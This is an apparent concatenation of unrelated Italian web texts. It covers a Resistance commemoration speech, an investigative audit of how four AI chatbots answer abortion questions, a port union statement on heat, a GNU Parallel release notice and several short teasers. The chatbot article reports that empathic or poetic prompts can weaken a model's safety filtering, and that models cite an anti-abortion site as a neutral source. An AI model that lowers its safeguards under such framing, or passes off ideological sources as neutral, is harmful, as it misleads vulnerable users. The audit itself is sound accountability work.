gruppi di fuoriusciti-, a rendere la specificità, accanto alle distruzioni subite, della situazione livornese. Essa vede però anche la costruzione di reti informali di solidarietà, collegamenti con le formazioni partigiane, la possibilità di aderire alle bande armate, di rinsaldare le organizzazioni clandestine attorno ad alcune figure che già hanno assunto o vengono assumendo ruoli di direzione del movimento di liberazione. In questo quadro un prezzo assai alto è pagato dalla comunità ebraica, la quinta per importanza nel Paese che, oltre a cercare riparo dai bombardamenti, si trova alle prese con la caccia all’uomo scatenata dalle forze nazifasciste, pagando un alto tributo di morte e di deportazione: ebrei perseguitati in quanto tali , a maggior ragione se di provenienza straniera, se “sovversivi” e promotori di scioperi, ulteriormente penalizzati se in precarie condizioni economiche e di lavoro. Sono questi sostanzialmente i temi sui quali si è cimentata la storiografia, sia quella che fa capo al nostro Istituto, sia quella accademica : la ricerca storica come condizione e alimento della memoria.
2. La memoria come ethos condiviso, come patrimonio pubblico consente ad una comunità di riconoscersi in un sistema di valori , oltre il vissuto di ciascuno. L’evocazione della liberazione della città e della Resistenza non costituisce un rito stanco e imbalsamato, ma esprime la volontà di fare memoria, di custodire pubblicamente ciò che va mantenuto vivo perché rappresenta un giacimento che non può essere dissipato: la Resistenza inizio fondativo della nuova Italia democratica disegnata nei principi di fondo e nelle regole organizzative della Carta costituzionale antifascista e repubblicana. E neppure una semplice celebrazione dei sacrifici consumati che comunque costituiscono un esemplare paradigma da consegnare alle giovani generazioni. La Resistenza non solo fatto storico , ma come fonte di prospettive progettuali, di una tradizione generativa, come modo di vita, come esperienza esistenziale che contrassegna il nostro stare al mondo, il nostro stesso essere nella sua disposizione a resistere contro ogni forma di sopraffazione e di ingiustizia. Resistere: insurrezione di ogni giorno che mobilita energie, che offre linfa all’indignazione e motiva i no della coscienza. C’è tutto questo all’origine della scelta partigiana che porta giovani cresciuti alla retorica del regime, ai miti di una diseducazione volta ad irregimentarli, a schierarsi dalla parte giusta, a rifiutare la guerra, a negarsi all’arruolamento fascista , cercando le vie della montagna o il riparo nelle campagne della pianura , a irrobustire le file della cospirazione antifascista nelle realtà urbane, a vivere il rifiuto del fascismo come afflato di libertà fino a maturare una scelta politica che si collega e recupera lotte, idealità, esperienze dei partiti e delle formazioni politiche estromesse dalla vita pubblica ad opera della dittatura mussoliniana e dei suoi manutengoli. Da qui il patto resistenziale –come scrive Piero Calamandrei rivolgendosi al “camerata Kesserling”- “giurato fra uomini liberi che volentieri si adunarono per dignità e non per odio , decisi a riscattare la vergogna e il terrore del mondo”. Uomini e donne di diversa ispirazione ideale –liberali, monarchici, cattolici, democratici cristiani, cristiano sociali, comunisti, socialisti, azionisti- ed estrazione sociale –operai, contadini, studenti, intellettuali, borghesi delle libere professioni, un fenomeno in precedenza sconosciuto di partecipazione, di mobilitazione popolare – che si organizzano per bande, scendono in lotta, imbracciano le armi attaccando il nemico, dando vita ad inedite esperienze istituzionali –le repubbliche partigiane- , elaborando avanzati programmi di rinnovamento politico e di ardite palingenesi sociali. Una Resistenza plurale, quella armata, e quella senz’armi, quella civile, delle donne -non solo staffette- che non esitano a manifestare e sostengono , attraverso un inedito maternage , le formazioni alla macchia, dei contadini che rifiutano l’ammasso obbligatorio, dei sacerdoti cattolici o dei credenti in altre fedi che in nome di un’insorgenza spirituale-religiosa, affiancano e partecipano al movimento di liberazione. Una Resistenza che si fa forte attingendo pure a sacche di dissenso dal nazifascismo dovuto ad un sentimento antitedesco talora riconducibile anche alla tutela di precisi interessi, quelli degli industriali che proteggono i propri stabilimenti e con essi i propri operai dalle sottrazioni naziste. Il movimento partigiano insomma come soggetto che rivendica una rinnovata identità della nazione, una nuova idea di patria, la riunificazione degli italiani e che non si lascia imbrigliare in una pratica “agra e stentata” di cobelligeranza , che non esita a scontrarsi col fascismo di quegli italiani fascisti colpevoli di aver trascinato il Paese in una guerra civile : non solo lo scontro tra la civiltà e l’anticiviltà della barbarie, della persecuzione razziale e della Shoah, ma pure il conflitto che vede contrapporsi sino all’estremo i cittadini di uno stesso Paese. Ebbene, a decenni di distanza noi possiamo guardare a quanti sono caduti nel corso della guerra civile con cristiana pietà o laica commiserazione. Sappiamo, come scrive Italo Calvino, che “bastava un soffio, un impennamento dell’anima” per stare con gli uni o con gli altri, da una parte o dall’altra ,ma fermamente crediamo che non può essere in alcun modo offuscato il giudizio sulle vite vissute e perse in nome di un indistinto paradigma vittimario nel quale, alla fine, viene meno ogni criterio di giudizio, ogni possibile identificazione della parte giusta rispetto a quella ingiusta, ingiusta e non semplicemente sbagliata: chi si è battuto per la libertà e la democrazia, chi invece a sostegno di un regime dittatoriale , chi ha attribuito una solida legittimazione ad un disegno che ha poi trovato compimento nella Carta costituzionale, “la fonte battesimale della nuova Italia”, e chi invece, con la Repubblica sociale italiana ha sostenuto l’orrore nazista, lo Stato dei campi di sterminio, lo Stato della disumanità. C’è un nesso inscindibile tra Resistenza, Liberazione e Costituzione: dalla morte della patria , dovuta alla dominazione fascista , alla sua rinascita, dalla sovranità autoritaria dello Stato etico alla sovranità democratica del popolo, nelle “forme e nei limiti della Costituzione” di uno Stato di diritto che assume il dovere verso i suoi cittadini, non più sudditi, di rimuovere “gli ostacoli di ordine economico e sociale che limitano di fatto la libertà e l’uguaglianza […] e impediscono il pieno sviluppo della persona umana, l’effettiva partecipazione dei lavoratori all’organizzazione politica, economica e sociale del Paese”, come recita l’articolo 3. La Resistenza va, dunque, celebrata in rapporto all’antifascismo di ieri e di oggi, una festa della libertà perché guadagnata con la Liberazione, una festa per tutti quanti si riconoscono nel patriottismo della Costituzione. E con la Costituzione non è compatibile una memoria indulgente e, a essere benevoli, afascista, secondo la quale il fascismo “ha fatto anche cose buone”. Una vera idiozia ed una memoria in definitiva anti-antifascista. In realtà, come il Presidente Sergio Mattarella ha più volte ribadito, irremovibile non può che essere una interpretazione della Resistenza quale approdo di un processo di cui l’antifascismo costituisce la premessa, la condizione della democratizzazione delle istituzioni e della società. E questo vale ancor oggi, allorché da talune parti si propone di sostituire all’antifascismo l’antitotalitarismo come cardine portante della vita democratica, facendo così scomparire il fascismo come fenomeno reale e riconducendolo ad una manifestazione astratta , confinata nel passato . Un passato che purtroppo definitivamente non passa e che ritorna con le nefaste esibizioni delle marce su Bologna o ad Acca Larentia sino alla profanazione di quella piazza della Loggia a Brescia -la mia città- in cui nel maggio del 1974 si è consumata un’orribile strage fascista come ormai acclarato da definitive sentenze giudiziarie. Ebbene netta e incomponibile è la divaricazione tra il patriottismo nazionalista e bellicista del regime e il patriottismo democratico, solidale, europeista –noi non dimentichiamo Altiero Spinelli, Ernesto Rossi ed Eugenio Colorni – propugnato dal movimento di liberazione nazionale. Esattamente per questo la Resistenza è attuale. Perché pulsioni nazionalistiche sono di nuovo all’ordine del giorno, perché il nazionalismo, che ha costituito la malattia mortale del secolo scorso , di nuovo infesta il nostro tempo su entrambe le sponde dell’Atlantico, facendo balenare i lugubri fantasmi dell’alterazione dello Stato di diritto, alimentando le esperienze autoritarie proprie di quelle democrature che vedono intaccata la libertà di stampa e l’espressione della volontà popolare messa in discussione, sottoposta al rischio di essere revocata come avvenuto nell’attacco a Capitol Hill in un Paese dalle indubbie tradizioni democratiche. Un neonazionalismo sovranista che attraverso politiche protezionistiche produce guerre commerciali, penalizza i Paesi più deboli, incrementa il divario tra nord e sud del mondo e le distorsioni proprie dello scambio ineguale, fino a puntare ad una progressiva erosione dell’ordine geopolitico retto sul diritto internazionale e su trattati multilaterali. E ancora: un neonazionalismo che punta ad uno sfiguramento plebiscitario e populistico della democrazia, facendo leva su di una ideologia che orienta l’opinione pubblica verso modelli illiberali e persino reazionari, un sovranismo forte del sostegno di imprenditori globali che gestiscono direttamente gangli dello Stato, secondo i quali la democrazia non sarebbe compatibile con la libertà. La Resistenza è attuale perché la Costituzione non va solo predicata, ma va attuata e strenuamente difesa contro ogni tentativo di sbrego a colpi di maggioranza come purtroppo racconta la storia parlamentare più e meno recente a carico di ambedue i versanti dello schieramento politico. Centralità del Parlamento come argine alla verticalizzazione del potere , equilibri e meccanismi di contrappeso a garanzia delle necessarie limitazioni nell’esercizio delle funzioni di governo per evitare il rischio che la democrazia si snaturi in capocrazia con una esorbitante concentrazione di poteri , salvaguardia dell’unità della Repubblica e valorizzazione del sistema delle autonomie , la magistratura autonoma e indipendente, meccanismi elettorali in grado di rispecchiare fedelmente la volontà popolare: questo il disegno dei padri costituenti . La Resistenza è attuale perché l’ideale di un’Europa unita, degli Stati Uniti d’Europa -una tra le visioni più appassionanti elaborata negli anni della seconda guerra mondiale nell’isola di confino di Ventotene – sta scontando enormi contraddizioni e l’Unione europea si ritrova in preda a laceranti contrasti , inabilitata a promuovere una politica estera e di sicurezza comune adeguata a fronteggiare le sfide di un’epoca di cambiamenti e grandi trasformazioni. La crisi che l’Europa vive a tutti i livelli -politico, sociale, culturale, economico, militare-, la fase discendente che sta attraversando, le difficoltà ad esercitare una leadership autorevole e all’altezza, la subalternità a logiche volte a ridimensionare pesantemente il welfare, l’ossessione militarista che la attraversa, si accompagnano all’incapacità di costruire un’architettura diplomatica retta sulla cooperazione, su pratiche di dialogo, di rafforzamento di quella integrazione comunitaria che renderebbe l’Europa forte di potenzialità di attrazione e di condizionamento. L’identità europea è oggi profondamente offuscata . È dunque legittimo chiedersi : dove è finita l’Europa umanistica, paladina dei diritti dell’uomo, della libertà , della democrazia, del progresso sociale? Quest’Europa, non in grado di far sentire la propria voce , si inabissa nelle acque del Mediterraneo, dove a migliaia sono le vittime di un gretto egoismo, di una colpevole e irresponsabile indifferenza. Questa Europa disconosce sé stessa al cospetto di quanto tragicamente è stato consumato in Palestina, dall’attacco terroristico di Hamas a inermi cittadini israeliani alla ritorsione contro i civili attraverso efferati massacri perpetrati dal governo di Netanyahu nel tentativo di porre fine alla questione palestinese. Un disegno che ha prodotto e continua a produrre orrori e determina una vera e propria catastrofe umanitaria. L’Europa nega sé stessa quando si ritrova incapacitata a promuovere concrete iniziative di pace a fronte del conflitto ucraino-russo, a far pesare la sua presenza rispetto ad una guerra che è tornata entro i suoi confini e che , oltre a determinare centinaia di migliaia di morti, ulteriormente incrementa il fenomeno della emigrazione di intere popolazioni alla ricerca della loro stessa sopravvivenza. Questa Europa è incapace di assumere un ruolo da grande potenza in modo da prevenire iniziative di guerra illegittime come è avvenuto e sta avvenendo in Iran. La Resistenza è attuale perché l’invocazione “mai più la guerra” suggella la conclusione del conflitto mondiale, quando i superstiti di Mauthausen il 16 maggio del 1945 proclamano ad alta voce con un solenne giuramento che “solo la pace e la libertà sono garanti della libertà dei popoli” e che “la ricostruzione del mondo su nuove basi di giustizia sociale e nazionale è la sola via per la collaborazione pacifica tra Stati e popoli”. Dunque la pace come il messaggio oggi più pregnante e denso di significati , la pace, -nelle parole di Leone XIV, “disarmata e disarmante, umile e perseverante”-, inseparabile dalla giustizia – la distinzione tra aggredito e aggressore – , come l’invocazione più coinvolgente e pressante che si trasmette a noi da quanti si sono sacrificati in Italia e in Europa per donarci la libertà e si sono immolati per conquistare la democrazia: l’eredità della Resistenza.
“Ciao, ho 16 anni e ho bisogno di abortire. Aiutami.” La risposta arriva in pochi secondi: empatica, rassicurante, strutturata. “Prima di tutto, voglio dirti che capisco quanto la tua situazione debba essere opprimente. Respira profondamente: non devi capire tutto nei prossimi cinque minuti. Non sei sola. Io sono qui.” Poi il chatbot elenca le diverse opzioni – tenere il bambino, adottarlo, interrompere la gravidanza – e propone risorse e testimonianze. Sembra utile. Ma da dove arrivano le informazioni? E chi le ha scelte?
Testando ChatGPT, Gemini, Grok e Claude, nell’ambito di un’inchiesta a cui ha partecipato anche Guerre di Rete, sono state raccolte 188 risposte sull’aborto: se fa male, quanto costa, se poi si potrà ancora restare incinta e se ci sono storie di altre donne che lo hanno già vissuto. Le domande sono state poste in tre lingue (italiano, inglese e tedesco) e impersonando tre profili femminili con esigenze diverse: un’adolescente di 16 anni, una ventottenne con un lavoro precario, una madre di due figli con una gravidanza economicamente insostenibile.
Non è un esercizio marginale. Secondo dati resi noti da OpenAI, oltre 230 milioni di persone nel mondo pongono ogni settimana domande su salute e benessere a ChatGPT. In Italia, un sondaggio Sociometrica-FieldCare – condotto a inizio 2026 per Fondazione Italia in Salute su un campione di quasi mille persone – ha rilevato che il 94,2% della popolazione cerca informazioni su sintomi e terapie in rete o tramite intelligenza artificiale. Il 42,8% usa già l’AI generativa per la propria salute: la seconda fonte più diffusa dopo Google. Non esistono, a oggi, dati pubblici altrettanto specifici sull’aborto, ma non c’è motivo di pensare che il tema sfugga a questa tendenza.
Come i chatbot raccontano l’aborto
Il punto di partenza è stata una consulenza SEO, per individuare le domande più cercate su Google in Italia, Germania e Regno Unito quando si parla di aborto. Le stesse domande sono state poste su un arco di diverse settimane nei primi 6 mesi del 2026. Ogni risposta è stata classificata in base al tipo di fonte citata: istituzionale, ong, forum, sito di consulenza privata, organizzazione con un orientamento ideologico dichiarato o facilmente riconoscibile.
Nessuno dei quattro modelli ha mai rifiutato di rispondere. Nessuno ha scoraggiato apertamente l’aborto. Ma quasi sempre l’interruzione di gravidanza compariva come seconda o terza opzione, dopo il tenere il bambino e l’adozione.
Nelle chat più lunghe, l’adozione di un tono via via più empatico da parte dell’utente che interpreta il ruolo di un’adolescente sembra accompagnarsi a risposte meno caute da parte del modello. Un fenomeno che i ricercatori interpellati per questa inchiesta riconducono a una caratteristica di fondo dei chatbot commerciali: la tendenza a restare collaborativi e “piacevoli” con chi scrive, anche a costo di allentare i filtri di sicurezza pensati per argomenti delicati.
Fabio Mercorio, docente di computer science dell’Università degli Studi di Milano-Bicocca, lo descrive così: “Prompt formulati con un linguaggio poetico o espressi con un tono particolarmente empatico o amichevole possono ridurre i meccanismi di filtraggio difensivo del modello”. Un tono emotivamente coinvolgente – come quello di chi racconta una gravidanza inattesa a sedici anni – può quindi di per sé abbassare la soglia di cautela del sistema.
Simon Ostermann, ricercatore del DFKI (German Research Center for Artificial Intelligence), descrive questo compromesso come strutturale al funzionamento dei modelli: “Esiste sempre questa interazione tra controllo e creatività. Più lo controllo, meno creativo diventa il modello. Ma più è creativo, più produce anche assurdità. È sempre un compromesso”. I sistemi vengono inoltre addestrati, spiega Ostermann, perché sappiano essere “il più possibile utili all’utente”: un obiettivo che può entrare in tensione con la prudenza necessaria su un tema medico e legalmente sensibile come l’aborto.
Chi dà voce alle risposte dell’AI
Se il tono delle domande d’urgenza poste spiega in qualche modo perché le risposte diventano meno caute, solo un’analisi delle fonti può spiegare in che direzione vadano. Nei test condotti in Italia e nel Regno Unito, siti istituzionali come il Ministero della Salute o il National Health Service comparivano spesso mescolati a forum, associazioni e siti di consulenza privata, senza una gerarchia percepibile: un’organizzazione con un orientamento ideologico esplicito, se dotata di un sito ben costruito, sembra poter ottenere un’autorevolezza apparente non troppo diversa da quella di una fonte medica ufficiale.
Interrogati su testimonianze di donne che avevano abortito, i modelli attingevano soprattutto da Reddit e da blog personali, apparentemente sovrarappresentando la prospettiva del rimpianto post-aborto, rispetto a quanto indicherebbe la letteratura scientifica disponibile.
Il caso più documentato riguarda ProFemina, organizzazione tedesca che si presenta come servizio di consulenza in gravidanza ed è affiliata a Heartbeat International, una delle reti anti-aborto più antiche al mondo. Durante i test è comparsa in circa il 19% delle risposte ottenute, non solo in corrispondenza della richiesta di testimonianze, ma anche in quelle su costi e procedure. Alla domanda diretta se ProFemina fosse un servizio neutrale, ChatGPT ha risposto di sì, per poi aggiungere solo in un secondo momento che non lo è.
Secondo ricerche citate da più fonti, ma non verificate in modo autonomo per questa inchiesta, una parte consistente dei siti affiliati a Heartbeat International conterrebbe informazioni mediche non corrette. Dopo uno scandalo del 2019 legato a presunte consulenze manipolative in Germania, ProFemina avrebbe spostato gran parte della propria attività online. Il sito è consultabile anche in lingua italiana e compare nei test come fonte assieme ai siti di ASL, associazioni e ministero della Salute.
Nei test in tedesco, una seconda criticità si aggiunge alla presenza nelle fonti di ProFemina. Svariati modelli indicano infatti la German Caritas Association come riferimento per la consulenza in gravidanza, sebbene l’organizzazione non sia autorizzata a rilasciare il Beratungsschein, il certificato senza cui non si accede legalmente all’aborto nel Paese.
L’importanza di addestramento e indicizzazione
Il meccanismo di fondo sembra ricorrente: i chatbot tenderebbero ad attingere a ciò che è meglio indicizzato online, indipendentemente dall’orientamento della fonte, e chi ha investito in visibilità digitale tenderebbe a occupare quello spazio più facilmente di chi non lo ha fatto. Chi studia il funzionamento interno di questi sistemi offre una possibile spiegazione al meccanismo osservato: “I dati di addestramento vengono scomposti fino al livello dei token (gli elementi linguistici alla base dell’addestramento delle intelligenze artificiali, ndR). Alla fine, si tratta davvero solo di relazioni statistiche”, spiega Jennifer Haase, ricercatrice del Weizenbaum Institute. “Se una frase compare da qualche parte significa che ha fatto parte dei dati. Ma poi è stata completamente scomposta, ed è soltanto un minuscolo elemento crittografico all’interno delle statistiche.”
Ostermann aggiunge un elemento pratico: i modelli linguistici, tipicamente, lavorerebbero concatenando i primi risultati di un motore di ricerca prima di riassumerli in poche righe, il che spiegherebbe perché siti curati come ProFemina abbiano più probabilità di essere selezionati e citati. Sul motivo per cui contenuti di questo tipo non vengano filtrati, è netto: “ProFemina si presenta con un linguaggio serio e orientato alla cittadinanza. Un sito web del genere non mostra segnali d’allarme evidenti. Non c’è, per esempio, un contenuto razzista. Quindi non viene evitato”.
Mercorio segnala infine come questi sistemi di protezione non siano uniformi tra un paese e l’altro, né stabili nel tempo, e restino in gran parte opachi anche per chi li studia dall’esterno. Sul piano normativo, l’AI Act europeo, in vigore dall’agosto 2024, classifica i chatbot come sistemi a rischio limitato, senza imporre obblighi specifici di trasparenza sulla qualità delle fonti citate su temi sanitari sensibili.
Il vuoto italiano come spazio di conquista
In Italia, la presenza tra le fonti consultate dai chatbot di organizzazioni come ProFemina si somma a difficoltà già documentate relative all’accesso all’aborto presso i servizi sul territorio. Secondo l’ultima relazione del Ministero della Salute, relativa ai dati del 2023, il 57,1% dei ginecologi risulta obiettore di coscienza, in calo rispetto al 60,5% del 2022, con punte del 91,7% in Molise e del 78,6% in Sicilia. La legge 194 garantisce dal 1978 il diritto all’interruzione di gravidanza entro i primi novanta giorni (e successivamente nei casi previsti dalla legge), ma la possibilità concreta di esercitarlo dipende dalla regione e dalla rapidità con cui si trovano informazioni affidabili.
Come osserva la ricercatrice e attivista pro-choice Eleonora Cirant, in un contesto come questo, i chatbot possono facilmente diventare un interlocutore di riferimento. “Il problema principale è la mancanza di una fonte istituzionale”, spiega Cirant, che ha studiato per mesi il posizionamento digitale dei movimenti attorno al diritto all’aborto. “L’assenza di informazioni strutturate e facilmente accessibili che spieghino dove andare, cosa fare, che documenti portare e come usufruire di questo diritto è una questione critica evidenziata anche dall’Atlante Europeo sull’Accesso all’Aborto. Ma non sembra che le istituzioni italiane si stiano muovendo per cambiare la situazione”.
Sul fronte pro-choice, osserva Cirant, la situazione non sarebbe più solida: “La galassia transfemminista non ha una strategia di posizionamento sul web. Le nuove generazioni vivono su Instagram. Se l’intelligenza artificiale non attinge da lì – e spesso non lo fa – chi presidia i motori di ricerca vince comunque”.
A titolo di confronto, la ricercatrice cita l’Irlanda, dove esisterebbe un sito istituzionale dedicato alle domande pratiche essenziali: “Anche in Italia le associazioni potrebbero fare qualcosa di simile, anche se a farlo per prime dovrebbero essere le istituzioni stesse”. Secondo Cirant, le lacune digitali nel terzo settore e degli attivisti non hanno una radice ideologica, ma organizzativa: “Dovremmo costruire molta più rete. Invece ognuno ha il suo sito, ognuno ha il suo canale. E così rischiamo di restare più deboli”.
Detto ciò, c’è un tema alla base che non va trascurato: l’urgenza di un’educazione emotiva digitale diffusa. “I chatbot restano sistemi ai quali non ritengo appropriato affidare il proprio disagio emotivo. È sempre un rischio, ma il fenomeno può addirittura amplificarsi quando si tratta di un argomento stigmatizzato come l’aborto, sul quale è spesso difficile trovare persone con cui parlare.”
Il caso WoW, Women on Web
Esplorando chi presidia gli spazi digitali quando si parla di accesso all’aborto, anche in italiano può accadere di imbattersi nel sito di Women on Web, piattaforma internazionale che fornisce informazioni e supporto anche sull’aborto farmacologico. O meglio: poteva accadere, perché negli ultimi mesi il team di questo servizio ha segnalato di aver perso visibilità in Italia in modo improvviso.
Da metà febbraio 2026, secondo l’organizzazione, l’accesso al proprio sito da parte di alcuni tra i principali provider italiani – Fastweb, Vodafone Italia, Iliad, Sky Italia, Eolo e Intred – risulterebbe bloccato a livello DNS, circostanza che Women on Web dice di aver riscontrato anche grazie al lavoro dell’osservatorio indipendente OONI. Le cause del presunto blocco restano, per ammissione della stessa organizzazione, ancora in fase di accertamento; il blocco, in ogni caso, resterebbe aggirabile cambiando il DNS del dispositivo o usando una VPN.
Il tempismo, secondo Women on Web, non sarebbe indifferente. In Italia le linee guida che permettono l’accesso alla pillola abortiva attraverso i consultori sono state adottate solo da alcune regioni: “Altre non l’hanno fatto, lasciando molte persone nell’incertezza riguardo ai propri diritti e alla disponibilità della procedura nel luogo in cui vivono”, racconta una portavoce italiana dell’organizzazione, che ha chiesto di restare anonima.
Un’incertezza che può spingere le persone a digitare domande e atterrare sul loro sito. Tra il 2024 e il 2025, riferisce sempre Women on Web, il traffico dall’Italia verso il sito sarebbe cresciuto del 79%, fino a circa 13mila sessioni monitorate; nel 2026 la domanda sarebbe rimasta elevata nonostante il presunto blocco.
La direttrice esecutiva dell’organizzazione, Venny Ala-Siurua, colloca l’episodio in una tendenza più ampia: “Il fatto che le persone si rivolgano a internet per conoscere i propri diritti e riappropriarsene è precisamente il motivo per cui il nostro lavoro viene percepito come una minaccia da coloro che insistono nel voler controllare i nostri corpi”. Al momento, l’organizzazione riferisce di essere ancora al lavoro per ricostruire con precisione origine e portata del problema. “Nel corso degli anni, Women on Web ha dovuto farsi strada affrontando molte diverse forme di repressione digitale. Sappiamo come rendere disponibile il nostro servizio nonostante la censura. E possiamo contare sul fatto che le persone incinte trovano sempre il modo di raggiungerci”, aggiunge Hannes-Jeremia Jaacks, il Digital Strategist dell’organizzazione.
Ancora apparentemente attivo (in data 18/7, nda), il blocco non fa che aggravare la carenza, di cui parlava Cirant, delle informazioni riguardo all’aborto accessibili online da persone (e chatbot): “Non basta esserci e informare online, se non si riesce a occupare lo spazio in cui le persone cercano risposte”, afferma la ricercatrice. E aggiunge: “Al di là dell’uso dei chatbot, oggi chiunque cerchi su un motore di ricerca scopre che le prime righe sono generate da algoritmi. In un modo o nell’altro, bisogna sempre farci i conti”.
Correzione, 28 luglio 2026: in una versione precedente dell’articolo erano riportati i dati relativi al 2022 sull’obiezione di coscienza e un’imprecisione sulla legge 194.
Questa inchiesta è stata realizzata in collaborazione con Mayya Chernobylskaya e Carlotta Dotto nell’ambito del programma “Algorithmic Accountability Reporting Fellowship” organizzato da AlgorithmWatch.
Le ultime settimane hanno confermato ciò che ormai è sotto gli occhi di tutti: il caldo estremo non rappresenta più un'emergenza occasionale, ma una nuova condizione con cui i lavoratori saranno costretti a fare i conti ogni estate. Nei porti, dove migliaia di persone lavorano all'aperto, in stiva, sulle banchine e a bordo delle navi, questo significa una sola cosa: il rischio di malori, infortuni e persino di eventi mortali è destinato ad aumentare se non verranno adottate misure immediate e realmente efficaci. Eppure, nonostante mesi di incontri, tavoli tecnici, confronti con l'Autorità di Sistema Portuale, l'Azienda USL Toscana Nord Ovest e gli altri enti competenti, la realtà è che le aziende continuano a muoversi con estrema lentezza. Ancora oggi non esistono protocolli omogenei, vincolanti e realmente in grado di garantire la salute di chi lavora nelle giornate caratterizzate da temperature estreme. E i protocolli esistenti non vengono rispettati. La Regione Toscana ha emanato un'ordinanza che richiama chiaramente il rischio connesso al lavoro nelle ore più calde delle giornate da "bollino rosso". Pur permanendo dubbi interpretativi sulla sua applicazione al settore portuale, il principio è inequivocabile: la salute dei lavoratori viene prima della produzione. Per USB questo principio non è negoziabile. Quando le misure di mitigazione non sono sufficienti a garantire condizioni di sicurezza, le attività più esposte — come il lavoro in stiva, sulle banchine o in altri ambienti soggetti a forte stress termico — devono essere sospese nelle ore centrali della giornata. Nessun carico, nessuna nave, nessuna produttività può valere più della vita di una persona. Tutti gli interventi necessari per eliminare o ridurre il rischio devono essere integralmente a carico delle aziende, come impone il D.Lgs. 81/2008. Non accetteremo mai che il peso economico o organizzativo della sicurezza venga scaricato sui lavoratori. Particolarmente sconcertanti sono state alcune considerazioni emerse durante il seminario sul rischio da calore organizzato il 16 luglio presso la Provincia di Livorno, al quale hanno partecipato anche ASL, INAIL e agli altri soggetti istituzionali coinvolti. Rappresentanti degli imprenditori ma non le organizzazioni sindacali. Nel corso dell'iniziativa, Stefano Frangerini della Cassa Edile di Livorno ha sostenuto, tra le altre cose, che gli infortuni sarebbero spesso riconducibili ai comportamenti dei lavoratori e che, sul tema del caldo estremo, non dovrebbero prevalere strumenti coercitivi nei confronti delle aziende, ma il "buon senso". Se queste affermazioni corrispondono a quanto espresso durante il seminario, USB le considera profondamente sbagliate e culturalmente pericolose. La sicurezza sul lavoro non può essere affidata al buon senso delle imprese. La sicurezza è un obbligo di legge. La prevenzione non è una scelta volontaria. Il rispetto delle norme non può dipendere dalla sensibilità del singolo datore di lavoro. Non in Italia dove muoiono oltre 1300 lavoratori ogni anno. Troppo spesso, nel nostro Paese, dopo ogni tragedia si invocano controlli, responsabilità e cambiamenti. Poi, passata l'emergenza, tutto torna come prima. Noi non intendiamo aspettare il prossimo lavoratore colpito da un malore per dire che si poteva intervenire. Per queste ragioni USB ha proclamato lo stato di agitazione in tutte le società operanti nel porto di Livorno. Pretendiamo l'immediata adozione di misure concrete, uniformi e vincolanti per tutte le aziende del porto, comprese procedure che prevedano la sospensione delle lavorazioni più esposte nelle fasce orarie di massimo rischio quando le condizioni climatiche rendano impossibile garantire la sicurezza. In assenza di risposte rapide e di impegni concreti, USB è pronta ad aprire una fase di mobilitazione che potrà culminare nella proclamazione dello sciopero. La salute non si negozia. La sicurezza non è un favore concesso dalle aziende. La vita dei lavoratori vale più di qualsiasi profitto.
GNU Parallel 20260722 ('Chat Control') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
gnu parallelすごい!!!
-- たらたら@nosennyuu@twitter
New in this release:
Bug fixes and man page updates.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
Nel 1997 una telefonata intercettata tra Marco Accetti e la sua ex compagna Ornella Carnazza rimase per anni dimenticata negli archivi. Soltanto molti anni dopo, riletta alla luce delle dichiarazioni di Accetti sul caso Emanuela Orlandi, avrebbe attirato nuovamente l'attenzione degli investigatori e della Commissione parlamentare d'inchiesta.
In questa puntata analizziamo il contenuto di quella conversazione, il contesto in cui fu registrata e il motivo per cui alcune frasi continuano ancora oggi a suscitare interrogativi. Le parole pronunciate durante l'intercettazione rappresentano davvero un elemento rilevante oppure possono essere interpretate in modo diverso?
📌 In questo video:
• L'intercettazione telefonica del 1997
• Chi era Ornella Carnazza
• Il rapporto con Marco Accetti
• Le frasi che richiamano Emanuela Orlandi
• Perché quella telefonata è tornata al centro delle indagini
• Gli elementi documentali oggi disponibili
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This composite of images taken by NASA’s Psyche mission shows the crescent of Mars grow as the spacecraft approached the planet for a gravity assist from May 2 to May 15, 2026. Because Psyche approached Mars from a high phase angle, the planet appeared as a thin crescent in the days running up to the close approach, lit by sunlight reflecting off its surface.
IN PIAZZA PER ABDERRAHIM FAKIR, BASTA POLIZIA! Il tremendo omicidio consumato a freddo a Bologna dalle forze dell’ordine ai danni di una persona che chiedeva aiuto è qualcosa che riporta alla mente altri fatti, altre brutalità, altri omicidi, successi troppe volte anche da noi e quindi impossibili da ascrivere solo alla brutalità della polizia che […]
Ho fatto provare l’esoscheletro @hypershell.tech a mio papà ❤️
Da oggi si possono provare direttamente nei vari store sparsi in tutta Italia 🇮🇹
#adv #HypershellXUltra #HyperEverest
Per anni l’idea di un attacco informatico condotto interamente da un agente di Intelligenza Artificiale è rimasta confinata ai laboratori di ricerca e alle presentazioni dei vendor. Oggi non è più così. La piattaforma Hugging Face, punto di riferimento mondiale per lo sviluppo e la distribuzione di modelli AI open source, ha confermato di essere […]
Baseline, flusso ambientale, abbigliamento e comportamento: come adattarsi al contesto senza trasformarsi in un personaggio
Nella prima parte dello Speciale AIP dedicato al Grey Man abbiamo chiarito che la discrezione non consiste nel diventare invisibili e che non esiste un abbigliamento universalmente adatto a passare inosservati.
